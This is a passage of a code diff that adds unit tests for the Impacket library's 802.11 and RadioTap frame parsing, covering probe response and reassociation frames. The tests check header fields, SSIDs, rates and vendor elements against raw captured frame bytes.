+        frame_body=b"\x7f\xa0\x22\xf8\x3f\x01\x00\x00\x64\x00\x11\x04\x00\x07\x66\x72\x65\x65\x62\x73\x64\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c\x03\x01\x06\x2a\x01\x04\x2f\x01\x04\x32\x04\x0c\x12\x18\x60\xdd\x75\x00\x50\xf2\x04\x10\x4a\x00\x01\x10\x10\x44\x00\x01\x02\x10\x41\x00\x01\x00\x10\x3b\x00\x01\x03\x10\x47\x00\x10\x11\x4e\xf7\x46\xa9\xc6\xfb\x1d\x70\x1b\x00\x1b\x11\x32\x66\x23\x10\x21\x00\x06\x44\x2d\x4c\x69\x6e\x6b\x10\x23\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x24\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x42\x00\x08\x30\x30\x30\x30\x30\x30\x30\x30\x10\x54\x00\x08\x00\x06\x00\x50\xf2\x04\x00\x01\x10\x11\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x08\x00\x02\x00\x8e\xdd\x05\x00\x50\xf2\x05\x00\xdd\x09\x00\x10\x18\x02\x01\xf0\x00\x00\x00\xdd\x18\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x00\x00"
+        self.assertEqual(self.management_base.get_frame_body(), frame_body)
+
+    def test_10(self):
+        'Test Management Beacon Timestamp field' 
+        self.assertEqual(self.management_probe_response.get_timestamp(), 0x0000013FF822A07F)
+        self.management_probe_response.set_timestamp(0x8765432101234567) 
+        self.assertEqual(self.management_probe_response.get_timestamp(), 0x8765432101234567)
+
+    def test_11(self):
+        'Test Management Beacon Interval field' 
+        self.assertEqual(self.management_probe_response.get_beacon_interval(), 0x0064)
+        self.management_probe_response.set_beacon_interval(0x4321) 
+        self.assertEqual(self.management_probe_response.get_beacon_interval(), 0x4321)
+
+    def test_12(self):
+        'Test Management Beacon Capabilities field' 
+        self.assertEqual(self.management_probe_response.get_capabilities(), 0x0411)
+        self.management_probe_response.set_capabilities(0x4321) 
+        self.assertEqual(self.management_probe_response.get_capabilities(), 0x4321)
+
+    def test_13(self):
+        'Test Management ssid getter/setter methods'
+        act_ssid=b"freebsd"
+        new_ssid=b"holala"
+        self.assertEqual(self.management_probe_response.get_ssid(), act_ssid)
+        self.management_probe_response.set_ssid(new_ssid)
+        self.assertEqual(self.management_probe_response.get_ssid(), new_ssid)
+        self.assertEqual(self.management_probe_response.get_header_size(), 209-1)
+
+    def test_14(self):
+        'Test Management supported_rates getter/setter methods'
+        self.assertEqual(self.management_probe_response.get_supported_rates(), (0x82,0x84,0x8b,0x96,0x24,0x30,0x48,0x6c) )
+        self.assertEqual(self.management_probe_response.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0 ) )
+        
+        self.management_probe_response.set_supported_rates((0x84,0x8b,0x96,0x24,0x30,0x48))
+
+        self.assertEqual(self.management_probe_response.get_supported_rates(), (0x84,0x8b,0x96,0x24,0x30,0x48) )
+        self.assertEqual(self.management_probe_response.get_supported_rates(human_readable=True), ( 2.0, 5.5, 11.0, 18.0, 24.0, 36.0 ) )
+        self.assertEqual(self.management_probe_response.get_header_size(), 209-2)
+
+    def test_15(self):
+        'Test Management DS Parameter Set getter/setter methods'
+        self.assertEqual(self.management_probe_response.get_ds_parameter_set(), 6 )
+        
+        self.management_probe_response.set_ds_parameter_set(40)
+
+        self.assertEqual(self.management_probe_response.get_ds_parameter_set(), 40 )
+        self.assertEqual(self.management_probe_response.get_header_size(), 209)
+
+    def test_16(self):
+        'Test Management Vendor Specific getter/setter methods'
+        self.assertEqual(self.management_probe_response.get_vendor_specific(), 
+            [(b"\x00\x50\xf2", b"\x04\x10\x4a\x00\x01\x10\x10\x44\x00\x01\x02\x10\x41\x00\x01\x00\x10\x3b\x00\x01\x03\x10\x47\x00\x10\x11\x4e\xf7\x46\xa9\xc6\xfb\x1d\x70\x1b\x00\x1b\x11\x32\x66\x23\x10\x21\x00\x06\x44\x2d\x4c\x69\x6e\x6b\x10\x23\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x24\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x42\x00\x08\x30\x30\x30\x30\x30\x30\x30\x30\x10\x54\x00\x08\x00\x06\x00\x50\xf2\x04\x00\x01\x10\x11\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x08\x00\x02\x00\x8e"),
+             (b"\x00\x50\xf2", b"\x05\x00"),
+             (b"\x00\x10\x18",b"\x02\x01\xf0\x00\x00\x00"),
+             (b"\x00\x50\xf2",b"\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x00\x00"),
+            ])
+        
+        self.management_probe_response.add_vendor_specific(b"\x00\x00\x40",b"\x04\x04\x04\x04\x04\x04")
+
+        self.assertEqual(self.management_probe_response.get_vendor_specific(), 
+            [(b"\x00\x50\xf2",b"\x04\x10\x4a\x00\x01\x10\x10\x44\x00\x01\x02\x10\x41\x00\x01\x00\x10\x3b\x00\x01\x03\x10\x47\x00\x10\x11\x4e\xf7\x46\xa9\xc6\xfb\x1d\x70\x1b\x00\x1b\x11\x32\x66\x23\x10\x21\x00\x06\x44\x2d\x4c\x69\x6e\x6b\x10\x23\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x24\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x42\x00\x08\x30\x30\x30\x30\x30\x30\x30\x30\x10\x54\x00\x08\x00\x06\x00\x50\xf2\x04\x00\x01\x10\x11\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x08\x00\x02\x00\x8e"),
+             (b"\x00\x50\xf2",b"\x05\x00"),
+             (b"\x00\x10\x18",b"\x02\x01\xf0\x00\x00\x00"),
+             (b"\x00\x50\xf2",b"\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x00\x00"),
+             (b"\x00\x00\x40",b"\x04\x04\x04\x04\x04\x04"),
+            ])
+        self.assertEqual(self.management_probe_response.get_header_size(), 209+6+3+2)
+        
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameManagementReassociationRequest.py b/tests/dot11/test_FrameManagementReassociationRequest.py
new file mode 100644
index 0000000..426776f
--- /dev/null
+++ b/tests/dot11/test_FrameManagementReassociationRequest.py
@@ -0,0 +1,192 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from six import PY2
+from impacket.dot11 import Dot11Types
+from impacket.ImpactDecoder import RadioTapDecoder
+
+
+class TestDot11ManagementReassociationRequestFrames(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Management Frame 
+        #
+        self.rawframe=b"\x00\x00\x1c\x00\xef\x18\x00\x00\x9aK\x87\xae;\x00\x00\x00\x10\x02\x85\t\xa0\x00\xb5\x9d`\x00\x00\x18 \x00:\x01\x00\x18\xf8lvBp\x1a\x04T\xe3\x86\x00\x18\xf8lvB\x00\x081\x04\n\x00\x00\x18\xf8lvB\x00\x05ddwrt\x01\x08\x82\x84\x8b\x96$0Hl!\x02\n\x11$\x02\x01\x0e0\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\x002\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x00\x10\x00\x00\x00p\x97\x1cA"
+        self.radiotap_decoder = RadioTapDecoder()
+        radiotap=self.radiotap_decoder.decode(self.rawframe)
+
+        if PY2:
+            self.assertEqual(str(radiotap.__class__), "impacket.dot11.RadioTap")
+        else:
+            self.assertEqual(str(radiotap.__class__), "<class 'impacket.dot11.RadioTap'>")
+
+        self.dot11=radiotap.child()
+        if PY2:
+            self.assertEqual(str(self.dot11.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(self.dot11.__class__), "<class 'impacket.dot11.Dot11'>")
+
+        type = self.dot11.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
+        
+        subtype = self.dot11.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST)
+        
+        typesubtype = self.dot11.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_REASSOCIATION_REQUEST)
+        
+        self.management_base=self.dot11.child()
+        if PY2:
+            self.assertEqual(str(self.management_base.__class__), "impacket.dot11.Dot11ManagementFrame")
+        else:
+            self.assertEqual(str(self.management_base.__class__), "<class 'impacket.dot11.Dot11ManagementFrame'>")
+        
+        self.management_reassociation_request=self.management_base.child()
+        if PY2:
+            self.assertEqual(str(self.management_reassociation_request.__class__), "impacket.dot11.Dot11ManagementReassociationRequest")
+        else:
+            self.assertEqual(str(self.management_reassociation_request.__class__), "<class 'impacket.dot11.Dot11ManagementReassociationRequest'>")
+            
+        
+    def test_01(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.management_base.get_header_size(), 22)
+        self.assertEqual(self.management_base.get_tail_size(), 0)
+        self.assertEqual(self.management_reassociation_request.get_header_size(), 74)
+        self.assertEqual(self.management_reassociation_request.get_tail_size(), 0)
+        
+    def test_02(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.management_base.get_duration(), 0x013a)
+        self.management_base.set_duration(0x1234)
+        self.assertEqual(self.management_base.get_duration(), 0x1234)
+    
+    def test_03(self):
+        'Test Destination Address field'
+        
+        addr=self.management_base.get_destination_address()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_destination_address(addr)
+        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
+
+    def test_04(self):
+        'Test Source Address field'
+        
+        addr=self.management_base.get_source_address()
+        
+        self.assertEqual(addr.tolist(), [0x70,0x1A,0x04,0x54,0xE3,0x86])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_source_address(addr)
+        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1A,0x04,0x54,0xE3,0x34])
+
+    def test_05(self):
+        'Test BSSID Address field'
+        
+        addr=self.management_base.get_bssid()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_bssid(addr)
+        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
+
+    def test_06(self):
+        'Test Sequence control field'
+        self.assertEqual(self.management_base.get_sequence_control(), 0x0800)
+        self.management_base.set_sequence_control(0x1234)
+        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
+
+    def test_07(self):
+        'Test Fragment number field'
+        self.assertEqual(self.management_base.get_fragment_number(), 0x00)
+        self.management_base.set_fragment_number(0xF1) # Es de 4 bit
+        self.assertEqual(self.management_base.get_fragment_number(), 0x01)
+
+    def test_08(self):
+        'Test Sequence number field'
+        self.assertEqual(self.management_base.get_sequence_number(), 128)
+        self.management_base.set_sequence_number(0xF234) # Es de 12 bit
+        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
+        
+    def test_09(self):
+        'Test Management Frame Data field'
+        frame_body=b"1\x04\n\x00\x00\x18\xf8lvB\x00\x05ddwrt\x01\x08\x82\x84\x8b\x96$0Hl!\x02\n\x11$\x02\x01\x0e0\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\x002\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x00\x10\x00\x00\x00"
+        self.assertEqual(self.management_base.get_frame_body(), frame_body)
+
+    def test_10(self):
+        'Test Management Reassociation Request Capabilities field'
+        self.assertEqual(self.management_reassociation_request.get_capabilities(), 0x0431)
+        self.management_reassociation_request.set_capabilities(0x4321) 
+        self.assertEqual(self.management_reassociation_request.get_capabilities(), 0x4321)
+
+    def test_11(self):
+        'Test Management Reassociation Request Listen Interval field'
+        self.assertEqual(self.management_reassociation_request.get_listen_interval(), 0x000a)
+        self.management_reassociation_request.set_listen_interval(0x4321) 
+        self.assertEqual(self.management_reassociation_request.get_listen_interval(), 0x4321)
+
+    def test_12(self):
+        'Test Management Reassociation Request Current AP field'
+        addr = self.management_reassociation_request.get_current_ap()
+        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_reassociation_request.set_current_ap(addr)
+        self.assertEqual(self.management_reassociation_request.get_current_ap().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
+
+    def test_13(self):
+        'Test Management Reassociation Request Ssid getter/setter methods'
+        act_ssid=b"ddwrt"
+        new_ssid=b"holala"
+        self.assertEqual(self.management_reassociation_request.get_ssid(), act_ssid)
+        self.management_reassociation_request.set_ssid(new_ssid)
+        self.assertEqual(self.management_reassociation_request.get_ssid(), new_ssid)
+        self.assertEqual(self.management_reassociation_request.get_header_size(), 74+1)
+
+    def test_14(self):
+        'Test Management Ressociation Request Supported_rates getter/setter methods'
+        self.assertEqual(self.management_reassociation_request.get_supported_rates(), (0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c))
+        self.assertEqual(self.management_reassociation_request.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0))
+        
+        self.management_reassociation_request.set_supported_rates((0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
+
+        self.assertEqual(self.management_reassociation_request.get_supported_rates(), (0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
+        self.assertEqual(self.management_reassociation_request.get_supported_rates(human_readable=True), (9.0, 12.0, 18.0, 24.0, 36.0, 48.0))
+        self.assertEqual(self.management_reassociation_request.get_header_size(), 74-2)
+
+    def test_15(self):
+        'Test Management Association Request RSN getter/setter methods'
+        self.assertEqual(self.management_reassociation_request.get_rsn(), b"\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\x00")
+        
+        self.management_reassociation_request.set_rsn(b"\xff\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\xff")
+
+        self.assertEqual(self.management_reassociation_request.get_rsn(), b"\xff\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\xff")
+        self.assertEqual(self.management_reassociation_request.get_header_size(), 74)
+
+    def test_16(self):
+        'Test Management Vendor Specific getter/setter methods'
+        self.assertEqual(self.management_reassociation_request.get_vendor_specific(), [(b"\x00\x10\x18",b"\x02\x00\x10\x00\x00\x00")])
+
+        self.management_reassociation_request.add_vendor_specific(b"\x00\x00\x40", b"\x04\x04\x04\x04\x04\x04")
+
+        self.assertEqual(self.management_reassociation_request.get_vendor_specific(), 
+            [(b"\x00\x10\x18",b"\x02\x00\x10\x00\x00\x00"),
+             (b"\x00\x00\x40", b"\x04\x04\x04\x04\x04\x04"),
+            ])
+        self.assertEqual(self.management_reassociation_request.get_header_size(), 74+11)
+        
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameManagementReassociationResponse.py b/tests/dot11/test_FrameManagementReassociationResponse.py
new file mode 100644
index 0000000..6844fd7
--- /dev/null
+++ b/tests/dot11/test_FrameManagementReassociationResponse.py
@@ -0,0 +1,171 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from six import PY2
+from impacket.dot11 import Dot11Types
+from impacket.ImpactDecoder import RadioTapDecoder
+
+
+class TestDot11ManagementReassociationResponseFrames(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Management Frame 
+        #
+        self.rawframe=b"\x00\x00\x1c\x00\xef\x18\x00\x00\xc0\xbb\xbc\xae;\x00\x00\x00\x10\x02\x85\t\xa0\x00\xba\x9ca\x00\x00\x1e0\x08:\x01p\x1a\x04T\xe3\x86\x00\x18\xf8lvB\x00\x18\xf8lvB\xe0g\x11\x04\x00\x00\x04\xc0\x01\x08\x82\x84\x8b\x96$0Hl2\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x02\xf0\x00\x00\x00\xb3\xff\n\\"
+        self.radiotap_decoder = RadioTapDecoder()
+        radiotap=self.radiotap_decoder.decode(self.rawframe)
+
+        if PY2:
+            self.assertEqual(str(radiotap.__class__), "impacket.dot11.RadioTap")
+        else:
+            self.assertEqual(str(radiotap.__class__), "<class 'impacket.dot11.RadioTap'>")
+
+        self.dot11=radiotap.child()
+        if PY2:
+            self.assertEqual(str(self.dot11.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(self.dot11.__class__), "<class 'impacket.dot11.Dot11'>")
+
+        type = self.dot11.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
+        
+        subtype = self.dot11.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE)
+        
+        typesubtype = self.dot11.get_type_n_subtype()
+        self.assertEqual(typesubtype, Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_REASSOCIATION_RESPONSE)
+        
+        self.management_base=self.dot11.child()
+        if PY2:
+            self.assertEqual(str(self.management_base.__class__), "impacket.dot11.Dot11ManagementFrame")
+        else:
+            self.assertEqual(str(self.management_base.__class__), "<class 'impacket.dot11.Dot11ManagementFrame'>")
+        
+        self.management_reassociation_response=self.management_base.child()
+        if PY2:
+            self.assertEqual(str(self.management_reassociation_response.__class__), "impacket.dot11.Dot11ManagementReassociationResponse")
+        else:
+            self.assertEqual(str(self.management_reassociation_response.__class__), "<class 'impacket.dot11.Dot11ManagementReassociationResponse'>")
+            
+        
+    def test_01(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.management_base.get_header_size(), 22)
+        self.assertEqual(self.management_base.get_tail_size(), 0)
+        self.assertEqual(self.management_reassociation_response.get_header_size(), 33)
+        self.assertEqual(self.management_reassociation_response.get_tail_size(), 0)
+        
+    def test_02(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.management_base.get_duration(), 0x013a)
+        self.management_base.set_duration(0x1234)
+        self.assertEqual(self.management_base.get_duration(), 0x1234)
+    
+    def test_03(self):
+        'Test Destination Address field'
+        
+        addr=self.management_base.get_destination_address()
+        
+        self.assertEqual(addr.tolist(), [0x70,0x1a,0x04,0x54,0xe3,0x86])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_destination_address(addr)
+        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x1a,0x04,0x54,0xe3,0x34])
+
+    def test_04(self):
+        'Test Source Address field'
+        
+        addr=self.management_base.get_source_address()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_source_address(addr)
+        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
+
+    def test_05(self):
+        'Test BSSID Address field'
+        
+        addr=self.management_base.get_bssid()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_bssid(addr)
+        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
+
+    def test_06(self):
+        'Test Sequence control field'
+        self.assertEqual(self.management_base.get_sequence_control(), 0x67e0)
+        self.management_base.set_sequence_control(0x1234)
+        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
+
+    def test_07(self):
+        'Test Fragment number field'
+        self.assertEqual(self.management_base.get_fragment_number(), 0x00)
+        self.management_base.set_fragment_number(0xF1) # Es de 4 bit
+        self.assertEqual(self.management_base.get_fragment_number(), 0x01)
+
+    def test_08(self):
+        'Test Sequence number field'
+        self.assertEqual(self.management_base.get_sequence_number(), 1662)
+        self.management_base.set_sequence_number(0xF234) # Es de 12 bit
+        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
+        
+    def test_09(self):
+        'Test Management Frame Data field'
+        frame_body=b"\x11\x04\x00\x00\x04\xc0\x01\x08\x82\x84\x8b\x96$0Hl2\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x02\xf0\x00\x00\x00"
+        self.assertEqual(self.management_base.get_frame_body(), frame_body)
+
+    def test_10(self):
+        'Test Management Reassociation Response Capabilities field'
+        self.assertEqual(self.management_reassociation_response.get_capabilities(), 0x0411)
+        self.management_reassociation_response.set_capabilities(0x4321) 
+        self.assertEqual(self.management_reassociation_response.get_capabilities(), 0x4321)
+
+    def test_11(self):
+        'Test Management Reassociation Response Status Code field' 
+        self.assertEqual(self.management_reassociation_response.get_status_code(), 0x0000)
+        self.management_reassociation_response.set_status_code(0x4321)
+        self.assertEqual(self.management_reassociation_response.get_status_code(), 0x4321)
+
+    def test_12(self):
+        'Test Management Reassociation Response Association ID field'
+        self.assertEqual(self.management_reassociation_response.get_association_id(), 0xc004)
+        self.management_reassociation_response.set_association_id(0x4321)
+        self.assertEqual(self.management_reassociation_response.get_association_id(), 0x4321)
+
+    def test_13(self):
+        'Test Management Reassociation Response Supported_rates getter/setter methods'
+        self.assertEqual(self.management_reassociation_response.get_supported_rates(), (0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c))
+        self.assertEqual(self.management_reassociation_response.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0))
+        
+        self.management_reassociation_response.set_supported_rates((0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
+
+        self.assertEqual(self.management_reassociation_response.get_supported_rates(), (0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
+        self.assertEqual(self.management_reassociation_response.get_supported_rates(human_readable=True), (9.0, 12.0, 18.0, 24.0, 36.0, 48.0))
+        self.assertEqual(self.management_reassociation_response.get_header_size(), 33-2)
+
+    def test_14(self):
+        'Test Management Vendor Specific getter/setter methods'
+        self.assertEqual(self.management_reassociation_response.get_vendor_specific(), [(b"\x00\x10\x18",b"\x02\x02\xf0\x00\x00\x00")])
+
+        self.management_reassociation_response.add_vendor_specific(b"\x00\x00\x40",b"\x04\x04\x04\x04\x04\x04")
+
+        self.assertEqual(self.management_reassociation_response.get_vendor_specific(), 
+            [(b"\x00\x10\x18", b"\x02\x02\xf0\x00\x00\x00"),
+             (b"\x00\x00\x40", b"\x04\x04\x04\x04\x04\x04"),
+            ])
+        self.assertEqual(self.management_reassociation_response.get_header_size(), 33+11)
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_RadioTap.py b/tests/dot11/test_RadioTap.py
new file mode 100644
index 0000000..6c6c7c4
--- /dev/null
+++ b/tests/dot11/test_RadioTap.py
@@ -0,0 +1,585 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket.dot11 import RadioTap
+from impacket.ImpactPacket import Data
+
+
+class TestRadioTap(unittest.TestCase):
+
+    def setUp(self):
+        # RadioTap + 802.11 Data Frame + LLC SNAP + ARP Reply
+        self.frame_0 = b''
+        self.frame_0 += b'\x00'  # Header Revision
+        self.frame_0 += b'\x00'  # Header Pad
+        self.frame_0 += b'\x18\x00'  # Header Length
+        self.frame_0 += b'\x0e\x58\x00\x00'  # Present Flags (flags, rate, channel, antenna, db antenna signal, rx flags)
+        self.frame_0 += b'\x10'  # Flags (FCS at end)
+        self.frame_0 += b'\x6c'  # Data Rate
+        self.frame_0 += b'\x6c\x09'  # Channel Frequency
+        self.frame_0 += b'\x80\x04'  # Channel Type
+        self.frame_0 += b'\x00'  # Antenna
+        self.frame_0 += b'\x1e'  # SSI Signal
+        self.frame_0 += b'\x00\x00'  # RX Flags
+        self.frame_0 += b'\x00\x00\x00\x00\x00\x00\x08\x02\x2c\x00\x00\x1f\xe1\x19\xe4\xe4\x00\x1b\x9e\xce\x54\x09\x00' \
+                        b'\x1b\x9e\xce\x54\x09\xe0\xac\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02' \
+                        b'\x00\x1b\x9e\xce\x54\x09\xc0\xa8\x01\x01\x00\x1f\xe1\x19\xe4\xe4\xc0\xa8\x01\x70\x01\x70\xe0' \
+                        b'\x00\x00\xfb\x94\x04\x00\x00\x16\x00\x00\x00\xe0\x00\x00\xfb\x17\x5c\xa6\xca'
+        self.rt0 = RadioTap(self.frame_0)
+
+        # RadioTap + 802.11 Data Frame + LLC SNAP + ARP Request
+        self.frame_1 = b''
+        self.frame_1 += b'\x00'  # Header Revision
+        self.frame_1 += b'\x00'  # Header Pad
+        self.frame_1 += b'\x20\x00'  # Header Length
+        # Present Flags (tsft, flags, rate, dbm antenna signal, dbm antenna noise, antenna, channel+)
+        self.frame_1 += b'\x67\x08\x04\x00'
+        self.frame_1 += b'\x30\x03\x1a\x25\x00\x00\x00\x00'  # TSFT
+        self.frame_1 += b'\x22'  # Flags (Data pad, preamble short)
+        self.frame_1 += b'\x0c'  # Data Rate
+        self.frame_1 += b'\xd9'  # SSI Signal
+        self.frame_1 += b'\xa0'  # SSI Noise
+        self.frame_1 += b'\x02'  # Antenna
+        self.frame_1 += b'\x00\x00\x00'  # ???
+        self.frame_1 += b'\x40\x01\x00\x00'  # Channel Type
+        self.frame_1 += b'\x3c\x14'  # Channel Frequency
+        self.frame_1 += b'\x24'  # Channel Number
+        self.frame_1 += b'\x11'  # ???
+        self.frame_1 += b'\x08\x02\x00\x00\xff\xff\xff\xff\xff\xff\x06\x03\x7f\x07\xa0\x16\x00\x19\xe3\xd3\x53\x52' \
+                        b'\x90\x7f\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x19\xe3\xd3' \
+                        b'\x53\x52\xa9\xfe\xf7\x00\x00\x00\x00\x00\x00\x00\x43\x08\x0e\x36'
+        self.rt1 = RadioTap(self.frame_1)
+
+        # RadioTap + 802.11 Data Frame + LLC SNAP + ARP Request
+        self.frame_2 = b''
+        self.frame_2 += b'\x00'  # Header Revision
+        self.frame_2 += b'\x00'  # Header Pad
+        self.frame_2 += b'\x24\x00'  # Header Length
+        # Present Flags (tsft, flags, rate, channel, dbm antenna signal, rx flags, ns next, ext)
+        self.frame_2 += b'\x2f\x40\x00\xa0'
+        self.frame_2 += b'\x20\x08\x00\x00'  # Present Flags (dbm antenna signal, antenna)
+        self.frame_2 += b'\x00\x00\x00\x00'  # ???
+        self.frame_2 += b'\x97\xd3\x26\x44\x06\x00\x00\x00'  # TSFT
+        self.frame_2 += b'\x10'  # Flags
+        self.frame_2 += b'\x02'  # Data Rate
+        self.frame_2 += b'\x6c\x09'  # Channel Frequency
+        self.frame_2 += b'\xc0\x00'  # Channel Type
+        self.frame_2 += b'\xa6'  # SSI Signal
+        self.frame_2 += b'\x00'  # ???
+        self.frame_2 += b'\x00\x00'  # RX flags
+        self.frame_2 += b'\xa6'  # SSI Signal
+        self.frame_2 += b'\x00'  # ???
+        self.frame_2 += b'\xd4\x00\x00\x00\x9c\x04\xeb\x4d\xdb\x53\x8d\xf3\xc6\xc3'
+        self.rt2 = RadioTap(self.frame_2)
+
+        # RadioTap + 802.11 Data Frame + LLC SNAP + ARP Request
+        self.frame_3 = b''
+        self.frame_3 += b'\x00'  # Header Revision
+        self.frame_3 += b'\x00'  # Header Pad
+        self.frame_3 += b'\x24\x00'  # Header Length
+        # Present Flags (tsft, flags, rate, channel, dbm antenna signal, rx flags, ns next, ext)
+        self.frame_3 += b'\x2f\x40\x00\xa0'
+        self.frame_3 += b'\x20\x08\x00\x80'  # Present Flags (dbm antenna signal, antenna)
+        self.frame_3 += b'\x00\x00\x00\x00'  # Present Flags
+        # self.frame_3 += '\x00\x00\x00\x00'  # ???
+        self.frame_3 += b'\x97\xd3\x26\x44\x06\x00\x00\x00'  # TSFT
+        self.frame_3 += b'\x10'  # Flags
+        self.frame_3 += b'\x02'  # Data Rate
+        self.frame_3 += b'\x6c\x09'  # Channel Frequency
+        self.frame_3 += b'\xc0\x00'  # Channel Type
+        self.frame_3 += b'\xa6'  # SSI Signal
+        self.frame_3 += b'\x00'  # ???
+        self.frame_3 += b'\x00\x00'  # RX flags
+        self.frame_3 += b'\xa6'  # SSI Signal
+        self.frame_3 += b'\x00'  # ???
+        self.frame_3 += b'\xd4\x00\x00\x00\x9c\x04\xeb\x4d\xdb\x53\x8d\xf3\xc6\xc3'
+        self.rt3 = RadioTap(self.frame_3)
+
+
+    def test_01_sizes(self):
+        """Test RadioTap frame sizes"""
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
